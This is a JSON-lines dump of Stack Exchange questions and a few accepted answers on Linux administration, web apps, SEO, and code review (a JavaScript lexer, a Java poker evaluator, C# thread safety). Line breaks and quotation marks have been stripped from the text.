{  "id": "_webapps.1383"  , "question": "I assume probably most of you use Google Reader for following and reading RSS or Atom feeds. My question is are there any web alternatives that some of you have used and are happy with?"  , "title": "Are there other web alternatives of Google Reader?"  , "tags": "webapp rec;google reader;rss"  } 
{  "id": "_scicomp.11787"  , "question": "I am comparing the performance several finite difference methods of solving an initial-boundary value problem. There are several dimensions to this comparison:Number of cellsNumber of timestepsSolution Method:Explicit (one sweep on a single thread, no iterations)Alternating Direction Explicit (two sweeps on separate threads, no iterations)Alternating Direction Implicit (two sweeps on one thread [TDMA] with three sub-timesteps, no iterations)Fully Implicit (any number of threads, using an iterative BICGSTAB solver)Question:My question is this: What metric should I use to compare the relative performance for various combinations of number of cells, number of timesteps, and solution method? There is some information on performance metrics on David J. Lilja's website. He seems to consider execution time (wall and CPU) as the best metric. But I'm wondering if there might be a more suitable metric for my application.Here is what I've considered so far:Wall time and CPU time: This is easy to measure, but the problem is that it is only representative for computer architecture where the program is executed. I'm doing most of my testing on a 24 core machine...which won't be representative of typical applications. It would be nice not to have to include a description of the machine's architecture every time I publish results. Are there meaningful ways to normalize measured time to avoid this problem?Number of Operations: Sum of (N_iterations*N_sweeps*N_sub-timesteps*N_cells)/(N_threads) across all timesteps.This is repeatable and platform independent, but it doesn't include some of the overhead of setting up the initial-boundary value problem and creating matrices, etc. It also makes some simplifying assumptions about threading overhead.It would also be nice to give a rough estimate of parallel and serial performance, so that someone could get a sense of what the speed up would be for a given number of processors (i.e., a way to extrapolate from the results on my 24 core machine)."  , "title": "Performance metrics to compare initial-boundary value problem solutions"  , "tags": "linear algebra;pde;performance;iterative method;explicit methods"  } 
{  "id": "_unix.32593"  , "question": "I upgraded to PHP5.3 using this tutorial: http://www.debiantutorials.com/how-to-install-upgrade-to-php-5-3-on-debian-lenny/It removed the following packages:Removing php-pear ...Removing php5-pgsql ...Removing php5-mysql ...Removing php5-mcrypt ...Removing php5-ldap ...Removing php5-gd ...Removing php5-curl ...Removing php5-sasl ...Removing php5-cli ...All seemed well, it warned me those packages would be removed, which was fine, I figured I could just install them after.  But now, when I try, it warns me that I am missing dependencies:The following packages have unmet dependencies:  php5-cli: Depends: libc6 (>= 2.11) but 2.7-18lenny7 is to be installed            Depends: libdb4.8 but it is not installable            Depends: libgssapi-krb5-2 (>= 1.6.dfsg.2) but it is not installable            Depends: libk5crypto3 (>= 1.6.dfsg.2) but it is not installable            Depends: libkrb5-3 (>= 1.6.dfsg.2) but it is not installable            Depends: libncurses5 (>= 5.7+20100313) but 5.7+20081213-1 is to be installed            Depends: libreadline6 (>= 6.0) but it is not installable            Depends: libssl0.9.8 (>= 0.9.8m-1) but 0.9.8g-15+lenny16 is to be installed            Depends: libxml2 (>= 2.7.4) but 2.6.32.dfsg-5+lenny5 is to be installedE: Broken packagesWhat can I do to fix this issue and get these back?"  , "title": "Debian: Upgraded to php 5.3 and lost phpcli, php-pear, etc"  , "tags": "linux;debian;apt;php"  } 
{  "id": "_unix.159732"  , "question": "Okay, I've been trying to repair my GRUB for awhile on my version of Lubuntu 14, and nothing seems to work. It seems that an update has broken my GRUB, so that now when I try to boot on the computer, it only takes me to a black screen where I can type, but none of the inputs do anything. After resetting it once or twice, it takes me a screen of options, where I select recovery mode, and then from the recovery mode menu to boot normally, which does indeed make it boot normally. I tried Boot Repair twice, and it said it works, but nay. I actually got two separate paste messages too after each attempted repair. I'm not sure if anyone will care for the first, but here's the second: http://paste.ubuntu.com/8503260 . What should I do? "  , "title": "Update Corrupted GRUB; Can't Boot Right"  , "tags": "linux"  } 
{  "id": "_unix.85658"  , "question": "So I have a custom in-house app developed by a 3rd party. When the app is running, I can verify it is running with the screen -ls command. As long as screens are running for rails and freeswitch then I know the app is properly up and running. We have a specific bash script to stop the services related to the app, and 2nd script to start the services related to the app. My question is how can I combine both these scripts to restart the app into 1 script that works like the following:Run script 1 - stop appWait until app has shutdown (screen processes are no longer running)Run script 2 - start appWait until app has startedCheck screen sockets to make sure a rails and freeswitch process is running. If not, then go back to step 1 and repeat. Right now to restart the app:I manually run the stop script via /tools/stop_app.shThis then outputs to the terminal to show services shutting down. Once complete, it returns me back to the terminal prompt. Now I manually run the start script via /tools/start_app.shThis doesn't output anything, but once it has completed it returns me to the terminal prompt. I then run screen -ls to verify all services for the app is running. (sometimes a service such as freeswitch doesn't start.)If not, then I re-run the stop/start scripts. It might be asked why don't I just put everything into one script. Well this custom app is very finicky and due to limited support from the developers, we need to make sure to utilize the exact tools they provided. Hence 1 script that calls the 2 separate scripts provided by the developers. By integrity check I am referring to checking the screen processes to make sure that the ruby and freeswitch screens are running. For the cron, I would like to perform this app restart automatically on a weekly basis. Note, when I say bash script I am not sure if it correct to say bash or shell. I have no script preference as long as it is a language that usually comes installed by default in Ubuntu Linux. "  , "title": "Cron automated bash script to run run 1 bash script then another, plus integrity check"  , "tags": "bash;shell;ubuntu;cron;gnu screen"  } 
{  "id": "_unix.269036"  , "question": "My Chief Security Officer (CSO) want to log the activity of the privileged account (root). I know I can configure sudo to log user input (key strokes) and console/terminal output (stdout/stderr), as explained in How to log commands within a sudo su -?. But the content is always logged to a file locally. That file can easily be wiped by the root user ! I have enable logging in /etc/sudoers:Defaults>root log_input, log_outputDefaults iolog_dir=/var/log/sudo-ioor equivalentroot      ALL = (ALL) LOG_INPUT: LOG_OUTPUT:      ALLHow to protect/secure the file from deletion ?"  , "title": "How to protect/secure the sudo log_input/log_output logs?"  , "tags": "sudo;root;logs"  } 
{  "id": "_webmaster.82729"  , "question": "Pre-HTML5 we used div and ul tags to markup navigation bars and a lot of times the navigation is at the top of the HTML document. In the absence of meta description content, Google uses its own logic to determine what to use in place of the description to show in the search results. Turns out it picks the text in the navigation bar instead of the page contents.Will using nav tags to markup navigation make Google skip the navigation? What tags will indicate to Google that the enclosed content is the main page content?Please avoid suggesting the use description meta tag to solve this problem. I am more of trying to understand the behaviour and result when not using description meta tags."  , "title": "Will Google skip nav tags when considering what content to use as page descriptions?"  , "tags": "google search;html5;serps;navigation"  } 
{  "id": "_webmaster.65423"  , "question": "I recently noticed that my web page have problems with Google and good search results.Many of the existing SEO tools suggests that my website uses bad URLs for SEO. I'm using a single PHP file that handles all the sections via parameters.By example:www.alanmarth.com/index.php (Main Page)www.alanmarth.com/index.php?seccion=servicios (Services)www.alanmarth.com/index.php?seccion=blog (Recent news)www.alanmarth.com/index.php?seccion=blog&cat=2 (News category)www.alanmarth.com/index.php?seccion=blog&id=3 (A single entry)Is this ok?  If it isn't, how can I solve it without having to rewrite my entire site?"  , "title": "Is using URL parameters bad for SEO?"  , "tags": "php;wordpress;htaccess;seo"  , "accepted_answer": "Regarding: Is this ok?No, its not good/intuitive for your users and hence not good for SEO. You should be using something like thiswww.alanmarth.com/ (Main Page)www.alanmarth.com/servicios (Services)www.alanmarth.com/blog (Recent news)www.alanmarth.com/blog/nameOfCategory2 (News category)www.alanmarth.com/blog/titleOfBlog3 (A single entry)Regarding: how can I solve this without having to rewrite all my site?Are you talking about re-writing whole site code base or just the urls that are planted here and there? Re-writing whole code base is not necessary but you will have to replace the urls everywhere with the new SEO friendly urls. So you need to do following changes:add to .htaccess file in your root folder with the following lines:RewriteCond %{REQUEST_FILENAME} !-fRewriteRule ^ index.php [QSA,L]this will lead all your requests to be served by index.phpparse the $_SERVER['REQUEST_URI'] to figure out what section and category is this request all about. Like if the request uri is /blog this means that $_GET['seccion']=blog in your code. So map it accordingly. And so on.Not much needs to be changed after that."  } 
{  "id": "_unix.361069"  , "question": "i am trying to set up psad (port scan detection system) but it doesn't work.I think that something is wrong with my iptables, because psad always send[-] You may just need to add a default logging rule to the  /sbin/ip6tables 'filter' 'INPUT' chain on nameOfcomp. For more  information, see the file FW_HELP in the psad sources directory or  visit:http://www.cipherdyne.org/psad/docs/fwconfig.html# iptables -LChain INPUT (policy ACCEPT)target prot opt source destination ACCEPT all  anywhere anywhere ACCEPT icmp  anywhere anywhere LOG all  anywhere anywhere LOG level warningDROP all  anywhere anywhere REJECT all  anywhere anywhere reject-with icmp-port-unreachableChain FORWARD (policy ACCEPT)target prot opt source destination ACCEPT all  anywhere anywhere ACCEPT icmp  anywhere anywhere LOG all  anywhere anywhere LOG level warningDROP all  anywhere anywhere REJECT all  anywhere anywhere reject-with icmp-port-unreachable# ip6tables -LChain INPUT (policy ACCEPT)target prot opt source destination ACCEPT all anywhere anywhere ACCEPT ipv6-icmp anywhere anywhere LOG all anywhere anywhere LOG level warningDROP all anywhere anywhere REJECT all anywhere anywhere reject-with icmp6-port-unreachableChain FORWARD (policy ACCEPT)target prot opt source destination ACCEPT all anywhere anywhere ACCEPT ipv6-icmp anywhere anywhere LOG all anywhere anywhere LOG level warningDROP all anywhere anywhere REJECT all anywhere anywhere reject-with icmp6-port-unreachablePlease somebody tell me what with my iptables? How to set them up to make psad works?"  , "title": "psad service Linux"  , "tags": "iptables;psad"  } 
{  "id": "_codereview.117715"  , "question": "I recently found an interesting series that describes the specifics of how interpreters and compilers work, explaining each step (with code) and encouraging the reader to do exercises.My code is mostly based on the boilerplate provided in the first tutorial. The description didn't really seem clear enough to me, so I went on to consult the actual code. That was probably the best idea in my case, as it helped me grasp the very basics of lexical analysis.Once I'd had the code working, I reread the article and by then I felt confident enough to approach the exercises.I had no problem with getting my code to satisfy the conditions in the exercises.However, I'm not sure whether my approach was good. I used regular expressions to tokenize the input and remove whitespaces at the same time. That kind of solution seemed robust; the code worked, but I felt a bit uneasy about it (though I couldn't really explain to myself why the use of regular expressions here was wrong). I then looked at the code in the second tutorial that solved all the exercises, and it didn't use regular expressions at all — instead, it iterated over each character (including whitespaces).I coded my lexer in JavaScript and run it in Node.js (though it can be run in virtually every environment that supports ES6 classes).What kind of feedback do I expect? I would like to see my doubts about regular expressions explained (does any lexer do that? If not, why?), but there are probably many things about the code that can be done better — and I will really appreciate the answers which suggest improvements. There are also a few more questions at the bottom of this post.Note: The script does not yet respond to user input, the input sequence needs to be hardcoded as a string.See below for explanations on certain parts of the code.'use strict';class Token {  constructor(type, value) {    this.type = type;    this.value = value;  }}['EOF', 'INT', 'MATHOP'].forEach(function (el) {                                  // #1  Token[el] = el;});class Interpreter {  constructor(source) {    this.source = source;    this.pos = 0;    this.currentToken = null;  }  eat(type) {    if (this.currentToken.type === type) {      this.currentToken = this.getNextToken();    } else {      throw new Error('Unexpected token of type ' + this.currentToken.type);    }  }  getNextToken() {    if (this.pos >= this.source.length) {      return new Token(Token.EOF, null);    }    var s = this.source.slice(this.pos);                                          // #2    var re;                                                                       // #3    if (re = /^\\s*([0-9]+)/.exec(s)) {      this.pos += re[0].length;      return new Token(Token.INT, +re[1]);    }    if (re = /^\\s*([-+*/])/.exec(s)) {      this.pos += re[0].length;      return new Token(Token.MATHOP, re[1]);    }    throw new Error('Erroneous input');  }  expr() {    this.currentToken = this.getNextToken();    var left = this.currentToken;    this.eat(Token.INT);    var op = this.currentToken;    this.eat(Token.MATHOP);                                                       // #4    var right = this.currentToken;    this.eat(Token.INT);    switch (op.value) {      case '+':        return left.value + right.value;      case '-':        return left.value - right.value;      case '*':        return left.value * right.value;      case '/':        return left.value / right.value;    }  }}var i = new Interpreter('11 * 23');                                               // #5console.log(i.expr());Explanations:At first, all I had was Token.EOF = 0; and so on, each token being assigned a unique, successive number. That wasn't really useful, as stack traces would display the number and I'd have to either remember the type or look it up in the code. I thought that string equivalents would be much more useful, and, to automate the task, I used a forEach() call here. The strings are identical to the keys of Token, so one could think I could stick to strings only and never use variables for that. I think that would get out of control quickly, so, to keep things in place, I assigned the string values as Token's properties. I'd like to know if this is a good idea.Once the number of characters to drop in the beginning (calculated in earlier calls to getNextToken(), initially 0) is known, slice the string.This variable is used in the following if statements and serves two purposes — it keeps the result of the regex match, but also passes null on to the if statement if there is no match. Is this clever, or too clever?The actual regexes ensure that any whitespace preceding the expected token is dropped.The second part of the tutorial mentioned above uses separate tokens for both the + and - signs. My code unifies all the basic arithmetic operators and uses the token's value to determine the operation to be performed. This is what I would like to see criticized as well. I know that in the future I would have to take operator precedence into account, but I think I could solve it sticking to this way.Currently this is the only way to pass input to the interpreter. Once it gets more complex, I will ensure that the input can be supplied in a user-friendly way."  , "title": "Simple lexical analysis - basic calculator"  , "tags": "javascript;regex;math expression eval;lexical analysis"  , "accepted_answer": "I'm not a compiler guy, but I'll offer some feedback, anyway. Hope it helps.Nice work.Regular expressions are a powerful tool, but they can become difficult to maintain and sometimes to get right. You used them, they work, seems fine. I'd suggest making it a point to always use simple regular expressions (which you did). If you need more complex matching, using multiple simple regular expressions in a sequence or loop or in combination with character / string comparisons seems to work pretty well. To answer your questions:1: Using integers does make error messages harder to read, so switching to strings for token types is a good idea, IMO. But, instead of adding properties onto the Token class I'd suggest doing something like the following:var tokenTypes = Object.freeze({    EOF: 'EOF',    INT: 'INT',    MATHOP: 'MATHOP'});In the past I've done something like this to make error messages and what not easier to read:var tokenTypes = Object.freeze({    EOF: 'tokenType { EOF }',    INT: 'tokenType { INT }',    MATHOP: 'tokenType { MATHOP }'});2: Slicing the string is fine. If there is more to the question, then please elaborate.3: Use of the re variable to store the match is not too clever. I recommend against assignment inside the if condition, though, it's just something that can be error prone, in general. Down the road you may make an edit and forget to have only one =, or something like that. It's usually considered against best-practices, but is not invalid or anything.4: As I'm not a compiler guy, take this for what it's worth (there is probably obvious conventional wisdom that I don't know about). Using a single token type for these four operations seems fine to me. They all have similar characteristics. But, it will likely be an issue if you broaden this MATHOP usage to operators that have different characteristics, like the unary - (e.g. 1 + -(3 + 4)). Having said that, you may end up keeping these four operators under one BINARY_OP type. You may end up wanting to group on precedence, though.5: Not a question.One thing I want to note, the eat and getNextToken methods are organized in a way that is a little strange, to me. You consume a token (move pos forward), then when you are getting the next token after that, check the type of the previous token. I like to have separate getNNNToken methods for the various tokens I have. For instance, you might have getIntToken() and getOpToken(). Each of these can attempt to consume the correct type of token, and if it fails return undefined. The method that called them can decide if that is an error or if another type of token should be attempted, like getEofToken().As a side note, a scanner I wrote for a DSL: JavaScript and Python. It uses a mix of regular expressions and character comparisons for consuming content. The scanner has a start property and a pos property, and any time a token is created the content spans from start to pos-1. Then, start is moved forward to pos."  } 
{  "id": "_webapps.99859"  , "question": "Sometimes I will get a Google Photos notification that Google Photos has created a new stylalised image. How can I disable these notifications?"  , "title": "Disable Google Photos Notification of New Photo Created"  , "tags": "google photos"  } 
{  "id": "_webapps.28741"  , "question": "I want to create a Gmail filter that identifies all sent mail. If I were to do the same for all the spam message, I know I could use is:spam. Is there a similar command for sent mail? Something like is:sentmail?"  , "title": "Is there a is: filter for mail in my Gmail sent folder?"  , "tags": "gmail"  , "accepted_answer": "Sent messages are labeled as sent, so you can use that to search for them. Either is:sent, in:sent or label:sent should work."  } 
{  "id": "_softwareengineering.181545"  , "question": "I have a print operation to perform for my customer documents.I need the other standard operations to be performed as well, like add,update, delete.so, I have following: For creating new customer:URI = /customer/{id}, type = POST,Methodname = CreateCustomer()For updating:URI: /customer/{id}, type = PUT, method =UpdateCstomer()For Delete customer:URI = /customer/{id}, type =DELETE, Methodname = DeleteCustomer()For View:URI: /customer/{id}, type = GET, method = GetCustomer()Now, if I need to print a document for that customer, I need a print function.My URI may look like this: /customer/{id}, type = POST , method = PrintCustomer().But I have used that URI and POST type for CreateCustomer.I wanted the URI to look like this:/customer/Print/{id}, type = POST , method = PrintCustomer().But I cannot have Print verb in my URI. Whats the best way to do this?I thought about /customer/document/{id} as the URI... but I will run into the same issue.I would have the CRUD operations on the document. So, again I run out of what I would used for print.Please advise."  , "title": "Represent actions(verbs) in REST URI"  , "tags": "rest"  } 
{  "id": "_unix.172370"  , "question": "When installing a module, I noticed the following:ModSecurity for Apache/2.8.0 (http://www.modsecurity.org/) configured.[Tue Dec 09 19:01:10 2014] [notice] ModSecurity: APR compiled version=1.4.5; loaded version=1.4.5[Tue Dec 09 19:01:10 2014] [notice] ModSecurity: PCRE compiled version=8.2 ; loaded version=8.02 2010-03-19Is it possible to run a command to see all loaded libraries and also their versions? Also is there pcre library on macos which I can use to compile mod_security to match the one that Apache is using? "  , "title": "Configuration of compiled Apache2"  , "tags": "apache httpd"  } 
{  "id": "_unix.99425"  , "question": "Running Ubuntu 13.10 with a fully compiled ffmpeg. I know the code for the actual conversion is ffmpeg -i video.mp4 -codec copy video.aviI just need a plain and simple Bash script to do that for, say, forty or fifty of the .mp4 files."  , "title": "Batch Convert .mp4 to .avi with ffmpeg"  , "tags": "conversion;ffmpeg"  , "accepted_answer": "If you have a list of file you can use something like:cat list-of-files.txt | while read file; do ffmpeg -i $file -codec copy ${file%%.mp4}.avi; doneor simplycd /path/; ls *.mp4 | while read file; do ffmpeg -i $file -codec copy ${file%%.mp4}.avi; done"  } 
{  "id": "_datascience.266"  , "question": "Being new to machine-learning in general, I'd like to start playing around and see what the possibilities are.I'm curious as to what applications you might recommend that would offer the fastest time from installation to producing a meaningful result.Also, any recommendations for good getting-started materials on the subject of machine-learning in general would be appreciated."  , "title": "What are some easy to learn machine-learning applications?"  , "tags": "machine learning"  , "accepted_answer": "I would recommend to start with some MOOC on machine learning. For example Andrew Ng's course at coursera.You should also take a look at Orange application. It has a graphical interface and probably it is easier to understand some ML techniques using it. "  } 
{  "id": "_unix.186574"  , "question": "No documentation, keystone employee leaves ... All I have is the known URL that is called. How do I determine the account that executes this site so I can find the httpd.conf file and scripts?  Furthermore I have no access to the machine until I provide the account I need ... Catch 22, um I don't know the account.The only thing going is the port number is a four digit non common number.So I asked our admin to grep for this port number in all conf files but he claims there were only 2 hits and both irrelevant.  URL formatted like this ...  https://mytestsite.company.com:4680/vendorXCBLIs there a command I should have executed?  Or a file I should request?  Thanks for any insight.Oh, and I'm new to Solaris and Unix.Regards,   danProblem solved, I was given the wrong machine name, doh!  Everything falls together when I'm looking at the right machine.  Noobie shock syndrome.Thanks for the response."  , "title": "How can I determine the Unix account that a URL is associated with?"  , "tags": "solaris;web"  } 
{  "id": "_unix.88064"  , "question": "I have Debian 7 with grub 1.99 in sda1 and Chakra OS without grub in sda2 I want to make a dual boot via grub 1,99, how?"  , "title": "Add Chakra os benz to grub 1.99"  , "tags": "debian;boot;grub2;dual boot"  } 
{  "id": "_unix.197975"  , "question": "Recently, I've been fiddling around with Linux's terminal commands to try and get a better feel for the system.I was happy to know that I could give commands a different name in order to call them, using the alias command. For example,alias print=echoIn this case, the echo would be replaced by print.The only problem is that it only seems to stay for one terminal session. Without the use of third party software, is there a way that I can keep these aliases permanently? If there are software alternatives, I'll be glad to hear them.I'm just looking for a way to do this without downloading anything."  , "title": "bash: Saving aliases beyond one session"  , "tags": "bash;alias;session"  } 
{  "id": "_codereview.152434"  , "question": "I have a bit of EF Lambda code which returns a list of data from the db table, then orders by a field called IsDefaultAt first, the code wasvar listOfData = Db    .TableName    .Where(u => u.UserId == userId)    .OrderBy(u => u.IsDefault)    .ToList();Which when writing down, sounds correct. However is wrong as this will order by 0 > 1, and True = 1.So I changed the statement to;var listOfData = Db    .TableName    .Where(u => u.UserId == userId)    .OrderBy(u => u.IsDefault ? 0 : 1)    .ToList();However, I could have also written this 2 other ways..OrderBy(u => !u.IsDefault)OR.OrderByDescending(u => u.IsDefault)Now in my mind, u.IsDefault ? 0 : 1 reads better, and the other two could be misread as the not wanting the default value first.What is your view on this?"  , "title": "Ordering data by boolean"  , "tags": "c#;entity framework;lambda"  , "accepted_answer": "I wouldn't use either ordering on the server side because it looks like the ordering only matters for displaying the data. I cannot imagine why it should matter from the programmatic point of view.Let the client, its view, its display control, or whatever sort the items according to its needs."  } 
{  "id": "_unix.148255"  , "question": "I am a Linux Mint 17 - Cinnamon user, and have been using it for the past 1 month. I am new to this OS, and trying to learn how to work in a linux environment.My system boots extremely slowly (takes about 20 minutes), and when it does boot the desktop is very unresponsive. Double clicks and keystrokes take way too long to register, though the mouse moves around normally. The whole thing started yesterday after my system shut down because of a power cut. I was not upgrading or installing anything. While looking for clues as to what went wrong, on rebooting, I pressed the arrow keys a bit and this took me to a logging screen (?) listing a bunch of (boot?) tasks and their status.There were a bunch of * xyz task                                                      [ok]followed by:* Starting load fallback graphics devices                       [fail]Followed by more [OK]s, followed by:* Starting SMB/CIFS file and active directory server            [fail]  After a few more [OK]s the system boots, and there I have the slowdown problems described above. I am dual booting this on my desktop along with windows 7. The entire Linux mint system is on a different hard disk, as is my windows installation. My PC specifications include:a core i7 processor.8GB RAM.a Nvidia GTX 670 Graphics Card."  , "title": "Slow boot and slow desktop, along with indecipherable log messages"  , "tags": "linux mint;graphics;cifs;smb"  } 
{  "id": "_codereview.138476"  , "question": "I was bored the other day and decided to have a crack at Project Euler Problem 54 for some fun.  Given a file containing one thousand poker hands dealt to two players, the task is to count the number of hands won by Player 1.This is the first project Euler problem i have completed and thought it would be good to get some feedback as i feel to help myself improve on my coding style and optimise the solution.Card Class public class Card {private String card;private String suit;private cardValue value;public String getSuit() {    return suit;}public cardValue getValue() {    return value;}public Card(String card) {    this.card = card;    this.value = convertValue(this.card.substring(0, 1));    this.suit = this.card.substring(1, 2);}public cardValue convertValue(String v){    switch(v){    case 2:        return cardValue.Two;    case 3:        return cardValue.Three;    case 4:        return cardValue.Four;    case 5:        return cardValue.Five;    case 6:        return cardValue.Six;    case 7:        return cardValue.Seven;    case 8:        return cardValue.Eight;    case 9:        return cardValue.Nine;    case T:        return cardValue.T;    case J:        return cardValue.J;    case Q:        return cardValue.Q;    case K:        return cardValue.K;    case A:        return cardValue.A;    default:        return cardValue.fail;    }}public String getCard() {    return card;}@Overridepublic String toString() {    return this.card;}}Hand classimport java.util.ArrayList;import java.util.Arrays;import java.util.Collections;import java.util.HashMap;import java.util.HashSet;import java.util.List;import java.util.Map;import java.util.Set;public class Hand {private List<cardValue> broadwayList = Arrays.asList(cardValue.A,        cardValue.T, cardValue.J, cardValue.K, cardValue.Q);private List<cardValue> wheelList = Arrays.asList(cardValue.A,        cardValue.Two, cardValue.Three, cardValue.Four, cardValue.Five);private ArrayList<Card> handList = new ArrayList<Card>();String hand;public ArrayList<Card> getHand() {    return handList;}public Hand(String hand) {    this.hand = hand;    createHand(hand);}public void createHand(String cards) {    handList.removeAll(handList);    for (String part : cards.split(\\\\s+)) {        Card currentCard = new Card(part);        handList.add(currentCard);    }}public int getHighestCardValue(ArrayList<Card> hand) {    ArrayList<cardValue> cardValues = new ArrayList<cardValue>();    for (Card c : hand) {        cardValues.add(c.getValue());    }    cardValue maxCard = Collections.max(cardValues);    return maxCard.value;}public cardValue getHigherSet(ArrayList<Card> hand) {    Map<cardValue, Integer> freqMap = checkFrequency(hand);    for (Map.Entry<cardValue, Integer> e : freqMap.entrySet()) {        cardValue card = e.getKey();        int freq = e.getValue();        switch (freq) {        case 2:            return card;        case 3:            return card;        case 4:            return card;        }    }    return cardValue.fail;}@Overridepublic String toString() {    return this.hand.toString();}public Map<cardValue, Integer> checkFrequency(ArrayList<Card> hand) {    Map<cardValue, Integer> freqMap = new HashMap<cardValue, Integer>();    for (Card c : hand) {        if (freqMap.containsKey(c.getValue())) {            freqMap.put(c.getValue(), freqMap.get(c.getValue()) + 1);        } else {            freqMap.put(c.getValue(), 1);        }    }    return freqMap;}public boolean checkFlush(ArrayList<Card> hand) {    String suit = hand.get(0).getSuit();    int suitCount = 0;    HashMap<cardValue, String> tempMap = new HashMap<cardValue, String>();    for (Card c : hand) {        tempMap.put(c.getValue(), c.getSuit());    }    for (String s : tempMap.values()) {        if (s.equals(suit)) {            suitCount++;        }    }    if (suitCount == 5) {        return true;    }    return false;}public boolean checkPair(ArrayList<Card> hand) {    Map<cardValue, Integer> freqMap = checkFrequency(hand);    if (freqMap.containsValue(2)) {        return true;    }    return false;}public boolean checkTwoPair(ArrayList<Card> hand) {    Map<cardValue, Integer> freqMap = checkFrequency(hand);    if (Collections.frequency(freqMap.values(), 2) == 2) {        return true;    }    return false;}public boolean checkThreeOfAKind(ArrayList<Card> hand) {    Map<cardValue, Integer> freqMap = checkFrequency(hand);    if (freqMap.containsValue(3)) {        return true;    }    return false;}public boolean checkFourOfAKind(ArrayList<Card> hand) {    Map<cardValue, Integer> freqMap = checkFrequency(hand);    if (freqMap.containsValue(4)) {        return true;    } else {        return false;    }}public boolean checkFullHouse(ArrayList<Card> hand) {    Map<cardValue, Integer> freqMap = checkFrequency(hand);    Set<Integer> fullHouseCheck = new HashSet<Integer>(freqMap.values());    System.out.println(freqMap.keySet());    if (fullHouseCheck.contains(2) && fullHouseCheck.contains(3)) {        return true;    } else {        return false;    }}public boolean checkStraight(ArrayList<Card> hand) {    ArrayList<cardValue> straightList = new ArrayList<cardValue>();    int count = 0;    int j = 0;    for (Card c : hand) {        straightList.add(c.getValue());    }    Collections.sort(straightList);    if (straightList.containsAll(wheelList)) {        return true;    }    for (int i = 0; i < 4; i++) {        if (straightList.get(j + 1).showValue() == straightList.get(i)                .showValue() + 1) {            count++;            j++;        }    }    if (count == 4) {        return true;    }    return false;}public boolean checkStraightFlush(ArrayList<Card> hand) {    if (checkFlush(hand) == true && checkStraight(hand) == true) {        return true;    }    return false;}public boolean checkRoyalFlush(ArrayList<Card> hand) {    ArrayList<cardValue> valueList = new ArrayList<cardValue>();    if (checkFlush(hand) == true) {        for (Card c : hand) {            valueList.add(c.getValue());        }        if (valueList.containsAll(broadwayList)) {            return true;        }    }    return false;}public handRankings evaluateHand(ArrayList<Card> hand) {    if (checkRoyalFlush(hand)) {        return handRankings.royalFlush;    } else if (checkStraightFlush(hand)) {        return handRankings.straightFlush;    } else if (checkFourOfAKind(hand)) {        return handRankings.fourOfAKind;    } else if (checkFullHouse(hand)) {        return handRankings.fullHouse;    } else if (checkFlush(hand)) {        return handRankings.Flush;    } else if (checkStraight(hand)) {        return handRankings.Straight;    } else if (checkThreeOfAKind(hand)) {        return handRankings.threeOfAKind;    } else if (checkTwoPair(hand)) {        return handRankings.twoPairs;    } else if (checkPair(hand)) {        return handRankings.onePair;    } else {        return handRankings.highCard;    }}}cardValue enumpublic enum cardValue{    Two(2),    Three(3),    Four(4),    Five(5),    Six(6),    Seven(7),    Eight(8),    Nine(9),    T(10),    J(11),    Q(12),    K(13),    A(14),    fail(15);    int value;    cardValue(int v) {      value = v;    }    int showValue(){      return value;    }}handRankings enumpublic enum handRankings {    highCard(1), // Highest value card.    onePair(2), // Two cards of the same value.    twoPairs(3), // Two different pairs.    threeOfAKind(4), // Three cards of the same value.    Straight(5), // All cards are consecutive values.    Flush(6), // All cards of the same suit.    fullHouse(7), // Three of a kind and a pair.    fourOfAKind(8), // Four cards of the same value.    straightFlush(9), // All cards are consecutive values of same suit.    royalFlush(10); // Ten, Jack, Queen, King, Ace, in same suit.    int value;    handRankings(int v) {      value = v;    }}Main classpublic class Main {public static void main(String[] args) {    Main m = new Main();    m.parseHands();}public void parseHands() {    int p1wins = 0;    int p2wins = 0;    try {        for (String line : Files.readAllLines(Paths.get(poker.txt))) {            Hand hand1 = new Hand(line.substring(0, 14));            Hand hand2 = new Hand(line.substring(14, 29).trim());            handRankings result1 = hand1.evaluateHand(hand1.getHand());            handRankings result2 = hand2.evaluateHand(hand2.getHand());            // checking a pair or higher set hand            int pairValue1 = hand1.getHigherSet(hand1.getHand()).value;            int pairValue2 = hand2.getHigherSet(hand2.getHand()).value;            // finding the highest value card in the hand            int highCardValue1 = hand1.getHighestCardValue(hand1.getHand());            int highCardValue2 = hand2.getHighestCardValue(hand2.getHand());            if (result1 == result2) {                if (result1 == handRankings.onePair                        || result1 == handRankings.twoPairs                        || result1 == handRankings.threeOfAKind                        || result1 == handRankings.fourOfAKind) {                    if (pairValue1 > pairValue2) {                        p1wins++;                        System.out.println(player 1 wins\\n + hand1.toString() +   + result1);                    } else {                        p2wins++;                        System.out.println(player 2 wins\\n+ hand2.toString() +   + result2);                    }                } else {                    if (highCardValue1 > highCardValue2) {                        p1wins++;                        System.out.println(player 1 wins\\n + hand1.toString() +   + result1);                    }                }            } else {                if (result1.value > result2.value) {                    p1wins++;                    System.out.println(player 1 wins\\n + hand1.toString() +   + result1);                } else {                    p2wins++;                    System.out.println(player 2 wins\\n + hand2.toString() +   + result2);                }            }        }        System.out.println(\\n + p1wins);        System.out.println(\\n + p2wins);    } catch (Exception e) {        System.out.println(e);    }}}"  , "title": "Project Euler #54 in Java: Comparing poker hands of two players"  , "tags": "java;programming challenge;playing cards"  } 
{  "id": "_softwareengineering.325980"  , "question": "I don't know much about how computers work internally, so I also don't know much about multithreading, and when it takes place. I know it is important in databases or web applications and such, where a lot of different machines try to access or modify the same resources, but what about classic code, like calculations?I thought about using LinkedList in my code but I read it is not thread-safe (C#). So the question is if I even have to care.The concrete problem is this: I have a class Interval that represents closed intervals, internally stored as two double values (lower and upper bound). I have a method that takes one interval I and a list L of disjoint intervals in ascending order. The method modifies L such that it is equivalent to joining the intervals of the list with I; the order is preserved.Example:L is: [-3, 0], [2, 4], [5, 18], [21, 22]I is: [3, 6]resulting modified L: [-3, 0], [2, 18], [21, 22]The algorithm finds certain border intervals (the leftmost and rightmost interval of L that intersect with I, and the intervals next to these two), Removes all intervals between them and Adds a new interval between them. So this is the place where I need to know if thread-safety is a thing here.So, how do I know?"  , "title": "How do I know if I have to care about thread safety?"  , "tags": "multithreading"  , "accepted_answer": "You need to care about thread safety if you have multiple threads accessing the same shared (mutable) data structure. If the algorithm you describe runs in a single thread, you dont have to worry. An ordinary C# program is single-threaded by default. You have to actively start new threads in order to get a multithreaded program. If you dont do that, you are safe."  } 
